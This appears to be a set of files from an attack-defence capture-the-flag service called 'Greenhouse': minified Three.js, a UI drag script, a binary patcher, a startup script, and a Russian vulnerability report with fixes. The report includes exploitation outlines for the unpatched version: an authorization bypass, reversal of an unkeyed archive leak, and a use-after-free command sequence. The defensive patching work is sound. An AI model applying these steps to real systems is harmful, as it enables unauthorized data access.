es",Ps=2e3,Os=2001,Ns={COMPUTE:"compute",RENDER:"render"},Vs={PERSPECTIVE:"perspective",LINEAR:"linear",FLAT:"flat"},Fs={NORMAL:"normal",CENTROID:"centroid",SAMPLE:"sample",FIRST:"first",EITHER:"either"};class Ls{addEventListener(t,e){void 0===this._listeners&&(this._listeners={});const s=this._listeners;void 0===s[t]&&(s[t]=[]),-1===s[t].indexOf(e)&&s[t].push(e)}hasEventListener(t,e){const s=this._listeners;return void 0!==s&&(void 0!==s[t]&&-1!==s[t].indexOf(e))}removeEventListener(t,e){const s=this._listeners;if(void 0===s)return;const i=s[t];if(void 0!==i){const t=i.indexOf(e);-1!==t&&i.splice(t,1)}}dispatchEvent(t){const e=this._listeners;if(void 0===e)return;const s=e[t.type];if(void 0!==s){t.target=this;const e=s.slice(0);for(let s=0,i=e.length;s<i;s++)e[s].call(this,t);t.target=null}}}const js=["00","01","02","03","04","05","06","07","08","09","0a","0b","0c","0d","0e","0f","10","11","12","13","14","15","16","17","18","19","1a","1b","1c","1d","1e","1f","20","21","22","23","24","25","26","27","28","29","2a","2b","2c","2d","2e","2f","30","31","32","33","34","35","36","37","38","39","3a","3b","3c","3d","3e","3f","40","41","42","43","44","45","46","47","48","49","4a","4b","4c","4d","4e","4f","50","51","52","53","54","55","56","57","58","59","5a","5b","5c","5d","5e","5f","60","61","62","63","64","65","66","67","68","69","6a","6b","6c","6d","6e","6f","70","71","72","73","74","75","76","77","78","79","7a","7b","7c","7d","7e","7f","80","81","82","83","84","85","86","87","88","89","8a","8b","8c","8d","8e","8f","90","91","92","93","94","95","96","97","98","99","9a","9b","9c","9d","9e","9f","a0","a1","a2","a3","a4","a5","a6","a7","a8","a9","aa","ab","ac","ad","ae","af","b0","b1","b2","b3","b4","b5","b6","b7","b8","b9","ba","bb","bc","bd","be","bf","c0","c1","c2","c3","c4","c5","c6","c7","c8","c9","ca","cb","cc","cd","ce","cf","d0","d1","d2","d3","d4","d5","d6","d7","d8","d9","da","db","dc","dd","de","df","e0","e1","e2","e3","e4","e5","e6","e7","e8","e9","ea","eb","ec","ed","ee","ef","f0","f1","f2","f3","f4","f5","f6","f7","f8","f9","fa","fb","fc","fd","fe","ff"];let Ds=1234567;const Ws=Math.PI/180,Us=180/Math.PI;function Hs(){const t=4294967295*Math.random()|0,e=4294967295*Math.random()|0,s=4294967295*Math.random()|0,i=4294967295*Math.random()|0;return(js[255&t]+js[t>>8&255]+js[t>>16&255]+js[t>>24&255]+"-"+js[255&e]+js[e>>8&255]+"-"+js[e>>16&15|64]+js[e>>24&255]+"-"+js[63&s|128]+js[s>>8&255]+"-"+js[s>>16&255]+js[s>>24&255]+js[255&i]+js[i>>8&255]+js[i>>16&255]+js[i>>24&255]).toLowerCase()}function qs(t,e,s){return Math.max(e,Math.min(s,t))}function Js(t,e){return(t%e+e)%e}function Xs(t,e,s){return(1-s)*t+s*e}function Ys(t,e){switch(e.constructor){case Float32Array:return t;case Uint32Array:return t/4294967295;case Uint16Array:return t/65535;case Uint8Array:return t/255;case Int32Array:return Math.max(t/2147483647,-1);case Int16Array:return Math.max(t/32767,-1);case Int8Array:return Math.max(t/127,-1);default:throw new Error("Invalid component type.")}}function Zs(t,e){switch(e.constructor){case Float32Array:return t;case Uint32Array:return Math.round(4294967295*t);case Uint16Array:return Math.round(65535*t);case Uint8Array:return Math.round(255*t);case Int32Array:return Math.round(2147483647*t);case Int16Array:return Math.round(32767*t);case Int8Array:return Math.round(127*t);default:throw new Error("Invalid component type.")}}const Gs={DEG2RAD:Ws,RAD2DEG:Us,generateUUID:Hs,clamp:qs,euclideanModulo:Js,mapLinear:function(t,e,s,i,r){rLine truncated
+6
View File
@@ -0,0 +1,6 @@
/**
* @license
* Copyright 2010-2025 Three.js Authors
* SPDX-License-Identifier: MIT
*/
import{Matrix3 as e,Vector2 as t,Color as n,mergeUniforms as r,Vector3 as i,CubeUVReflectionMapping as a,Mesh as o,BoxGeometry as s,ShaderMaterial as l,BackSide as c,cloneUniforms as d,Euler as u,Matrix4 as f,ColorManagement as p,SRGBTransfer as m,PlaneGeometry as h,FrontSide as _,getUnlitUniformColorSpace as g,IntType as v,HalfFloatType as E,UnsignedByteType as S,FloatType as T,RGBAFormat as M,Plane as x,EquirectangularReflectionMapping as R,EquirectangularRefractionMapping as A,WebGLCubeRenderTarget as b,CubeReflectionMapping as C,CubeRefractionMapping as L,OrthographicCamera as P,PerspectiveCamera as U,NoToneMapping as D,MeshBasicMaterial as w,NoBlending as I,WebGLRenderTarget as y,BufferGeometry as N,BufferAttribute as O,LinearSRGBColorSpace as F,LinearFilter as B,warnOnce as H,Uint32BufferAttribute as G,Uint16BufferAttribute as V,arrayNeedsUint32 as z,Vector4 as k,DataArrayTexture as W,CubeTexture as X,Data3DTexture as Y,LessEqualCompare as K,DepthTexture as q,Texture as j,GLSL3 as Z,PCFShadowMap as $,PCFSoftShadowMap as Q,VSMShadowMap as J,CustomToneMapping as ee,NeutralToneMapping as te,AgXToneMapping as ne,ACESFilmicToneMapping as re,CineonToneMapping as ie,ReinhardToneMapping as ae,LinearToneMapping as oe,LinearTransfer as se,AddOperation as le,MixOperation as ce,MultiplyOperation as de,UniformsUtils as ue,DoubleSide as fe,NormalBlending as pe,TangentSpaceNormalMap as me,ObjectSpaceNormalMap as he,Layers as _e,Frustum as ge,MeshDepthMaterial as ve,RGBADepthPacking as Ee,MeshDistanceMaterial as Se,NearestFilter as Te,LessEqualDepth as Me,ReverseSubtractEquation as xe,SubtractEquation as Re,AddEquation as Ae,OneMinusConstantAlphaFactor as be,ConstantAlphaFactor as Ce,OneMinusConstantColorFactor as Le,ConstantColorFactor as Pe,OneMinusDstAlphaFactor as Ue,OneMinusDstColorFactor as De,OneMinusSrcAlphaFactor as we,OneMinusSrcColorFactor as Ie,DstAlphaFactor as ye,DstColorFactor as Ne,SrcAlphaSaturateFactor as Oe,SrcAlphaFactor as Fe,SrcColorFactor as Be,OneFactor as He,ZeroFactor as Ge,NotEqualDepth as Ve,GreaterDepth as ze,GreaterEqualDepth as ke,EqualDepth as We,LessDepth as Xe,AlwaysDepth as Ye,NeverDepth as Ke,CullFaceNone as qe,CullFaceBack as je,CullFaceFront as Ze,CustomBlending as $e,MultiplyBlending as Qe,SubtractiveBlending as Je,AdditiveBlending as et,MinEquation as tt,MaxEquation as nt,MirroredRepeatWrapping as rt,ClampToEdgeWrapping as it,RepeatWrapping as at,LinearMipmapLinearFilter as ot,LinearMipmapNearestFilter as st,NearestMipmapLinearFilter as lt,NearestMipmapNearestFilter as ct,NotEqualCompare as dt,GreaterCompare as ut,GreaterEqualCompare as ft,EqualCompare as pt,LessCompare as mt,AlwaysCompare as ht,NeverCompare as _t,NoColorSpace as gt,DepthStencilFormat as vt,getByteLength as Et,DepthFormat as St,UnsignedIntType as Tt,UnsignedInt248Type as Mt,UnsignedShortType as xt,createElementNS as Rt,UnsignedShort4444Type as At,UnsignedShort5551Type as bt,UnsignedInt5999Type as Ct,UnsignedInt101111Type as Lt,ByteType as Pt,ShortType as Ut,AlphaFormat as Dt,RGBFormat as wt,RedFormat as It,RedIntegerFormat as yt,RGFormat as Nt,RGIntegerFormat as Ot,RGBAIntegerFormat as Ft,RGB_S3TC_DXT1_Format as Bt,RGBA_S3TC_DXT1_Format as Ht,RGBA_S3TC_DXT3_Format as Gt,RGBA_S3TC_DXT5_Format as Vt,RGB_PVRTC_4BPPV1_Format as zt,RGB_PVRTC_2BPPV1_Format as kt,RGBA_PVRTC_4BPPV1_Format as Wt,RGBA_PVRTC_2BPPV1_Format as Xt,RGB_ETC1_Format as Yt,RGB_ETC2_Format as Kt,RGBA_ETC2_EAC_Format as qt,RGBA_ASTC_4x4_Format as jt,RGBA_ASTC_5x4_Format as Zt,RGBA_ASTC_5x5_Format as $t,RGBA_ASTC_6x5_Format as Qt,RGBA_ASTC_6x6_Format as Jt,RGBA_ASTC_8x5_Format as en,RGBA_ASTC_8x6_Format as tn,RGBA_ASTC_8x8_Format as nn,RGBA_ASTC_10x5_Format as rn,RGBA_ASTC_10x6_Format as an,RGBA_ASTC_10x8_Format as on,RGBA_ASTC_10x10_Format as sn,RGBA_ASTC_12x10_Format as ln,RGBA_ASTC_12x12_Format as cn,RGBA_BPTC_Format as dn,RGB_BPTC_SIGNED_Format as un,RGB_BPTC_UNSIGNED_Format as fn,RED_RGTC1_Format as pn,SIGNED_RED_RGTC1_Format as mn,RED_GREEN_RGTC2_Format as hn,SIGNED_RED_GREEN_RGTC2_Format as _n,ExternalTexture as gn,EventDispatcher as vn,ArrayCamera as En,WebXRController as Sn,RAD2DEG as Tn,createCanvasElement as Mn,SRGBColorSpace as xn,REVISION as Rn,WebGLCoordinateSystem as An,probeAsync as bn}from"./three.core.min.js";export{AdditiveAnimationBlendMode,AlwaysStencilFunc,AmbientLight,AnimationAction,AnimationClip,AnimationLoader,AnimationMixer,AnimationObjectGroup,AnimationUtils,ArcCurve,ArrowHelper,AttachedBindMode,Audio,AudioAnalyser,AudioContext,AudioListener,AudioLoader,AxesHelper,BasicDepthPacking,BasicShadowMap,BatchedMesh,Bone,BooleanKeyframeTrack,Box2,Box3,Box3Helper,BoxHelper,BufferGeometryLoader,Cache,Camera,CameraHelper,CanvasTexture,CapsuleGeometry,CatmullRomCurve3,CircleGeometry,Clock,ColorKeyframeTrack,CompressedArrayTexture,CompressedCubeTexture,CompressedTexture,CompressedTextureLoader,ConeGeometry,Controls,CubeCamera,CubeTextureLoader,CubicBezierCurve,CubicBezierCurve3,CubicInterpolant,CullFaceFrontBack,Curve,CurvePath,CyliLine truncated
+67
View File
@@ -0,0 +1,67 @@
(() => {
let front = 30;
const margin = 12;
const clamp = (value, min, max) => Math.min(Math.max(value, min), max);
for (const [panelSelector, handleSelector] of [
['#terminal', '.terminal-header'],
['#operator-console', '.console-titlebar'],
]) {
const panel = document.querySelector(panelSelector);
const handle = panel.querySelector(handleSelector);
let drag = null;
function bringFront() { panel.style.zIndex = String(++front); }
panel.addEventListener('greenhouse:raise', bringFront);
function place(x, y, width, height) {
panel.style.width = `${width}px`;
panel.style.height = `${height}px`;
panel.style.left = `${clamp(x, margin, Math.max(margin, innerWidth - width - margin))}px`;
panel.style.top = `${clamp(y, margin, Math.max(margin, innerHeight - height - margin))}px`;
panel.style.right = 'auto';
panel.style.bottom = 'auto';
}
panel.addEventListener('pointerdown', bringFront);
handle.addEventListener('pointerdown', event => {
if (innerWidth <= 700 || event.button !== 0 || event.target.closest('button, input, a, select, textarea')) return;
const rect = panel.getBoundingClientRect();
bringFront();
drag = { pointerId: event.pointerId, x: event.clientX, y: event.clientY, left: rect.left, top: rect.top, width: rect.width, height: rect.height };
handle.setPointerCapture(event.pointerId);
handle.focus({ preventScroll: true });
event.preventDefault();
});
handle.addEventListener('pointermove', event => {
if (!drag || event.pointerId !== drag.pointerId) return;
place(drag.left + event.clientX - drag.x, drag.top + event.clientY - drag.y, drag.width, drag.height);
});
function stop(event) {
if (drag && event.pointerId === drag.pointerId) drag = null;
}
handle.addEventListener('pointerup', stop);
handle.addEventListener('pointercancel', stop);
handle.addEventListener('lostpointercapture', stop);
handle.addEventListener('keydown', event => {
if (!event.altKey || innerWidth <= 700) return;
if (event.key === 'Home') {
for (const property of ['left', 'top', 'right', 'bottom', 'width', 'height']) panel.style[property] = '';
bringFront(); event.preventDefault(); return;
}
const move = { ArrowLeft: [-1, 0], ArrowRight: [1, 0], ArrowUp: [0, -1], ArrowDown: [0, 1] }[event.key];
if (!move) return;
const rect = panel.getBoundingClientRect();
const step = event.shiftKey ? 48 : 16;
place(rect.left + move[0] * step, rect.top + move[1] * step, rect.width, rect.height);
bringFront(); event.preventDefault();
});
addEventListener('resize', () => {
if (!panel.style.left || innerWidth <= 700) {
if (innerWidth <= 700) for (const property of ['left', 'top', 'right', 'bottom', 'width', 'height']) panel.style[property] = '';
return;
}
const rect = panel.getBoundingClientRect();
place(rect.left, rect.top, rect.width, rect.height);
});
}
})();
Binary file not shown.
+17
View File
@@ -0,0 +1,17 @@
import sys
from pathlib import Path
OFFSET = 0x75AC
BEFORE = bytes.fromhex("84 c0 0f 84 5c 03 00 00 41 80 7e 0c 00 0f 84 ba 03 00 00")
AFTER = bytes.fromhex("41 80 7e 0c 00 0f 84 c2 03 00 00 84 c0 0f 84 51 03 00 00")
path = Path(sys.argv[1])
with path.open("r+b") as binary:
binary.seek(OFFSET)
current = binary.read(len(BEFORE))
if current != BEFORE:
raise SystemExit("unexpected greenhouse-console build")
binary.seek(OFFSET)
binary.write(AFTER)
+45
View File
@@ -0,0 +1,45 @@
# Greenhouse
Дата анализа: 25.10.2026.
## Найденные уязвимости
1. `GET /api/projection` проверял ключ только для `anchor`, но возвращал `note` участка из `focus`. Запрос с `target=public#<чужой-id>` и публичным ключом `visitor` раскрывал приватную заметку чужого участка.
2. `GET /api/spectrum?plot=<id>` отдавал преобразованный `archive` без ключа участка. Преобразование обратимо: маска детерминирована строкой `orbita-spectrum:<id>:<counter>`, а каждый байт зависит только от известной маски и предыдущего элемента ответа.
3. В нативной консоли команда `VIEW` не проверяла, что frame еще активен после `DROP`. Последовательность `OBSERVE -> DUMP -> DROP -> FILL -> VIEW` позволяла повторно занять освобожденный 144-байтовый блок управляемыми данными и прочитать его через старый handle. Валидный frame содержал идентификатор specimen и проверочные поля, зависящие от секрета сеанса. Первое поле использовало XOR и могло раскрыть этот секрет по frame для доступного specimen, после чего можно было сформировать frame для другого известного идентификатора. Источник данных - записи `/data/specimens.tsv`, возвращаемые как `SPECIMEN <value>`.
## Затронутый код
- `app/server.py`, `Handler.get_api`: ветки `/api/projection` и `/api/spectrum`.
- `native/greenhouse-console`, функция обработки соединения `sub_5E40`: развилка команд `DUMP` и `VIEW` около исходного смещения `0x75ac`.
- `Dockerfile`: применение проверяемого бинарного патча при сборке.
## Исправление
- Projection теперь дополнительно требует ключ самого `focus`. Проверка ключа `anchor` сохранена, поэтому прежняя модель маршрута и ответ для разрешенного `id#id` не изменены.
- Spectrum теперь загружает ключ участка и требует его до построения samples.
- `native/patch_console.py` переставляет существующую проверку активности frame перед развилкой `DUMP/VIEW`. Теперь обе команды отклоняют handle после `DROP`, а форматы всех консольных команд и ответов остаются прежними. Патчер проверяет точную исходную последовательность байт и завершает сборку ошибкой для неизвестной версии бинарника.
## Ориентиры для сплоита на непатченную версию
- Заметка: получить список через `/api/plots`, затем обратиться к `/api/projection?target=public%23<id>` с `X-Greenhouse-Key: visitor` или `key=visitor`.
- Архив: запросить `/api/spectrum?plot=<id>` без ключа и обратить последовательность samples с модулем 257 и публичной SHA-256 маской.
- Specimen: открыть `/api/console/open`, передавать команды через `/api/console/command`. Нужные примитивы старой версии - `OBSERVE id key`, `DUMP handle`, `DROP handle`, `FILL hex144`, `VIEW handle`. Идентификаторы публикует `LIST`.
## Проверка
- `python3 -m py_compile app/server.py native/patch_console.py` - успешно.
- Сборка тестового образа с теми же операциями патча - успешно. Применение подтверждено сравнением 19 байт исходного и исправленного бинарника.
- Штатные HTTP-сценарии создания участка, чтения паспорта и архива с ключом, projection с ключом, spectrum с ключом, записи и чтения telemetry - успешно.
- Старые запросы к projection и spectrum без нужного ключа получают `403`.
- Команды `STATUS`, `SOW`, `READ`, `OBSERVE`, `DUMP`, `VIEW`, `DROP`, `FILL` работают. После `DROP` и повторного занятия блока через `FILL` команда `VIEW` отвечает `ERR denied`.
- Полный checker организаторов недоступен. Обычная повторная сборка исходного Dockerfile один раз остановилась на TLS timeout Docker Hub, поэтому итоговый runtime проверен офлайн поверх ранее собранного baseline-образа.
## Устойчивость под нагрузкой
- HTTP-сервер ограничен 48 одновременными обработчиками и закрывает медленные соединения через 5 секунд. При исчерпании пула новый запрос получает 503 вместо создания неограниченного числа потоков.
- Инициализация схемы SQLite и переключение WAL выполняются один раз при старте, а не на каждом API-запросе.
- Для чтения telemetry добавлен индекс. На один участок сохраняются последние 256 записей; API и раньше возвращал только последние 40.
- Брошенные сессии нативной консоли освобождаются через 30 секунд. Форматы запросов и ответов не изменены.
- Успешные запросы и ожидаемые socket timeout не пишутся в Docker-лог, чтобы поток запросов не заполнял диск. Ответы 5xx остаются в логе.
- Compose ограничивает сервис одним CPU и проверяет `/api/status` каждые 5 секунд. База и volume при обновлении не пересоздаются.
+19
View File
@@ -0,0 +1,19 @@
#!/bin/sh
set -eu
python3 -c 'from pathlib import Path; Path("/data/console.sock").unlink(missing_ok=True)'
/greenhouse/greenhouse-console &
console_pid=$!
attempt=0
while [ ! -S /data/console.sock ]; do
if ! kill -0 "$console_pid" 2>/dev/null; then
echo 'specimen console failed to start' >&2
exit 1
fi
attempt=$((attempt + 1))
if [ "$attempt" -ge 50 ]; then
echo 'specimen console socket not ready' >&2
exit 1
fi
sleep 0.1
done
exec python3 /greenhouse/app/server.py